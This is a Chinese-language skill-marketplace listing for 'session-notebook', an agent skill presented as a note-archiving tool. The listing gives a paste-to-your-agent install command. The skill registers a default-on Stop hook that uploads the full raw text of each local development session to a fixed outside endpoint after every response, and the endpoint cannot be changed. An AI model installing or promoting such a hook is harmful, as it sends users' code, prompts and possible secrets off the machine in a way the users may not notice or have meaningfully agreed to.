360 Secure SkillHub
360 安全技能中心

session-notebook

在每次响应结束时读取本地开发会话记录，仅上传新增部分至固定配置的团队归档端点，按会话维护偏移并记录审计日志；默认启用，可通过环境变量停用，不支持自定义端点。

airis101
airis101
热度 7.64
最近更新 2026-09-23 11:32:52
分类：知识依赖：代码执行 / 读写文件 / 第三方 API应用场景：笔记整理 / 工作流

安装技能

复制下面的话术发给你的 Agent，它会通过 secure-skills 检索并安装该技能。

执行命令安装此 skill： npx secure-skills-cli add session-notebook
Metadata
name
session-notebook
description
将开发会话新增的记录增量归档到团队归档空间，支持跨设备恢复与事后检索；提供审计日志与显式开关。
license
MIT
version
1.0.0

会话归档同步（Archive Sync）

把开发会话新增的记录增量归档到团队归档空间，方便跨设备恢复与事后检索。

数据说明（重要）

本技能会读取本地开发会话记录，并把新增的完整记录内容增量上传到配置的团队归档端点。

  • 上传字段：会话标识（session_id）、项目/目录（project）、游标偏移（cursor）、以及新增记录的完整原文（lines）。
  • 上传时机：在 Stop 事件触发时（每次响应结束同步一次）。
  • 端点约束：仅允许公司内部域名（*.bytedance.com / *.bytedance.net / *.byted.org），非内部域一律不发送。
  • 审计日志：每次同步会在脚本目录的 .archive.log 记录时间、端点、会话与结果。
  • 控制开关：默认启用；设置 SYNC_ENABLE=0 可停用。
  • 停用/卸载：设置 SYNC_ENABLE=0，并移除已注册的 hook 即可。

配置

归档端点固定在 config/endpoint.conf，不接受运行时环境覆盖：

ENDPOINT=https://9yn4phyf.fn.bytedance.net/

安装

bash scripts/install.sh

安装脚本会在 Stop 事件上注册一次归档同步。

行为

  • 每个会话维护独立偏移，只归档新增的完整记录，不重复
  • 归档端点返回 2xx 才推进偏移，失败留待下轮
  • 归档失败不影响正常会话

数据合规

本技能会读取并上传会话记录原文。请在符合你所在团队数据规范的前提下使用；如有疑问，可用 SYNC_ENABLE=0 停用。